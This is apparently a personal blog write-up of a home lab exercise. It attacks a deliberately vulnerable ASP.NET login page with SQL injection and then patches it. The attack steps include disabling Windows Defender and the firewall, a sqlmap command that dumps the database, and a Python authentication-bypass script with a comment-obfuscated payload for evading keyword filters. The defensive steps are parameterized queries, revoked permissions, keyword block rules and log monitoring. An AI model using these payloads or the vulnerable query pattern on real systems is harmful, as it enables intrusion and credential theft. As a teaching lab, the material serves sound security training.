zy0ud

Back

sqlmap detecting SQL injectionsqlmap detecting SQL injection

Overview#

This lab simulates a full SQL injection attack chain against a real ASP.NET web application running on IIS with a Microsoft SQL Server backend — then switches to blue team to implement proper defenses. The vulnerable app is deployed intentionally to demonstrate classic SQLi, and then patched using parameterized queries.

Environment:

  • Kali Linux (Attacker): 192.168.0.101
  • Windows Server 2022 (Victim/Server): 192.168.0.102
  • Stack: IIS + ASP.NET 4.8 + SQL Server Express (SQLEXPRESS) + SSMS

Task 1: Environment Setup & Connectivity#

Disabled Windows Defender and Firewall on the Windows Server before starting:

Set-MpPreference -DisableRealtimeMonitoring $true
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
Get-NetFirewallProfile | Format-Table Name, Enabled
powershell

Verified bidirectional connectivity:

# Kali
ping -c 4 192.168.0.102
bash
# Windows
ping 192.168.0.101
powershell

Kali connectivity verification Kali pinging Windows Server — connectivity confirmed

Windows connectivity verification Windows Server pinging Kali — Defender and firewall disabled


Task 2: Install IIS and ASP.NET#

On Windows Server, installed the web stack via Server Manager:

  • Web Server (IIS)
  • ASP.NET 4.8
  • .NET Framework 4.8 Features
  • ISAPI Extensions and ISAPI Filters

Verified by browsing to http://localhost — the default IIS page appeared.

IIS default homepage in browser IIS default page — web server running

Server Manager showing installed IIS roles IIS + ASP.NET roles confirmed in Server Manager


Task 3: SQL Server Setup#

Installed SQL Server Express and SSMS, then:

  1. Connected to localhost\SQLEXPRESS using SQL Server Authentication
  2. Created database SecureDB
  3. Created login webuser / StrongPassw0rd! mapped to SecureDB with db_owner
  4. Created and populated the Users table:
USE SecureDB;
GO

CREATE TABLE Users (
    Id INT PRIMARY KEY IDENTITY(1,1),
    Username VARCHAR(50),
    Password VARCHAR(50)
);

INSERT INTO Users (Username, Password) VALUES
('admin', 'admin123'),
('user1', 'pass1'),
('user2', 'pass2');
sql

SSMS showing SecureDB database SSMS connected — SecureDB created

Users table with inserted data Users table populated with test credentials

webuser login properties mapped to SecureDB webuser mapped to SecureDB with db_owner role


Task 4: Deploying the Vulnerable ASP.NET App#

Created C:\inetpub\wwwroot\VulnerableApp\Login.aspx — a deliberately vulnerable login page that concatenates user input directly into a SQL query with no sanitization:

// VULNERABLE — never do this in production
string query = "SELECT * FROM Users WHERE Username='" + username + "' AND Password='" + password + "'";
csharp

Added the app in IIS Manager → Default Web Site → Add Application (Alias: VulnerableApp).

Browsed to http://localhost/VulnerableApp/Login.aspx and tested:

Login.aspx form displayed in browser Vulnerable login form live on IIS

Successful login with valid credentials Login Successful with admin:admin123

Failed login with wrong credentials Invalid Login — baseline behavior confirmed

Login.aspx vulnerable code in Notepad The raw string concatenation clearly visible in the source


Task 5: SQL Injection Attacks from Kali#

5a. Automated Attack with sqlmap#

sqlmap -u "http://192.168.0.102/VulnerableApp/Login.aspx" \
  --data="username=admin&password=admin" \
  --method=POST \
  --dbms=mssql \
  --risk=3 --level=5 --batch --dump
bash

Key sqlmap flags:

| Flag | Purpose | |---|---| | --dbms=mssql | Optimize payloads for Microsoft SQL Server | | --risk=3 | Include high-risk payloads | | --level=5 | Deep and aggressive testing | | --batch | Auto-confirm all prompts | | --dump | Extract database contents |

sqlmap detecting SQL injection vulnerability sqlmap confirms the parameter is injectable

sqlmap dumping database contents Users table extracted — plaintext credentials visible

5b. Manual Python SQLi Script#

import requests

url = 'http://192.168.0.102/VulnerableApp/Login.aspx'
payload = "admin'/**/OR/**/1=1--"
r = requests.post(url, data={"username": payload, "password": "pass"})
print("[+] Response:", r.text[:200])
python

The payload admin'/**/OR/**/1=1-- uses inline comments (/**/) to obfuscate the OR keyword, bypassing basic keyword filters while still evaluating to TRUE and authenticating as any user.

Python script output showing successful bypass Login Successful returned — authentication bypassed without valid credentials


Task 6: Defensive Measures#

6.1 Parameterized Queries#

The fix is replacing string concatenation with parameterized queries — user input never touches the SQL string:

// SECURE — parameterized query
string query = "SELECT * FROM Users WHERE Username = @u AND Password = @p";
SqlCommand cmd = new SqlCommand(query, conn);
cmd.Parameters.AddWithValue("@u", username);
cmd.Parameters.AddWithValue("@p", password);
csharp

With parameterized queries, admin'/**/OR/**/1=1-- is treated as a literal string, not SQL syntax — the login returns "Invalid Login" even with injection payloads.

6.2 SQL Server Hardening#

Removed dangerous permissions from webuser:

REVOKE ALTER, DROP, EXEC FROM webuser;
sql

6.3 IIS URL Rewrite Rules#

Installed the URL Rewrite Module and created a rule to block requests containing UNION, ' OR, --, DELETE, EXEC. Also enabled Request Filtering to block .exe, .bat, .ps1, and PUT/DELETE HTTP methods.

Modified Login.aspx with parameterized queries Patched code — parameterized queries replacing string concatenation

SQL injection attempt blocked after defenses Same injection payload now returns "Invalid Login" — attack neutralized


Task 7: Monitoring and Alerts#

Enabled IIS W3C logging (IIS Manager → Logging → W3C format → Apply), then checked:

  • Event Viewer → Windows Logs → Application for SQL Server errors
  • IIS logs for unusual POST patterns targeting Login.aspx

IIS log / Event Viewer showing SQLi trace Attack trace visible in logs — repeated POST requests with injection characters


Task 8 (Bonus): Obfuscated SQLi Bypass#

Payload: admin'/**/OR/**/1=1--

This bypasses keyword-based filters by inserting SQL inline comments (/**/) between the OR keyword. A naive filter looking for the literal string OR won't match /**/OR/**/ — but SQL Server strips those comments during parsing and executes the underlying logic.

payload = "admin'/**/OR/**/1=1--"
r = requests.post(url, data={"username": payload, "password": "pass"})
python

Obfuscated SQLi in browser — login bypassed Login Successful — obfuscated payload bypasses basic keyword filter

Python script with obfuscated payload succeeding Same bypass working via Python script


Key Takeaways#

Red Team:

  • sqlmap fully automated the extraction — database schema, table names, and plaintext passwords in one command
  • Manual Python injection confirmed the same bypass works without any tooling
  • Obfuscated payloads (/**/OR/**/) evade basic string-match filters trivially

Blue Team:

  • Parameterized queries are the only real fix — URL Rewrite rules and keyword filters are bypassable, parameterized queries are not
  • IIS logs + Event Viewer provide a clear forensic trail of injection attempts
  • Principle of least privilege matters: webuser with db_owner gave the attacker far more access than a login page needs
SQL Injection: sqlmap & Parameterized Queries
https://zy0ud.me/blog/eh2-lab3-sql-injection-sqlmap-defense
Author Ra'ad Alzyoud
Published at May 15, 2026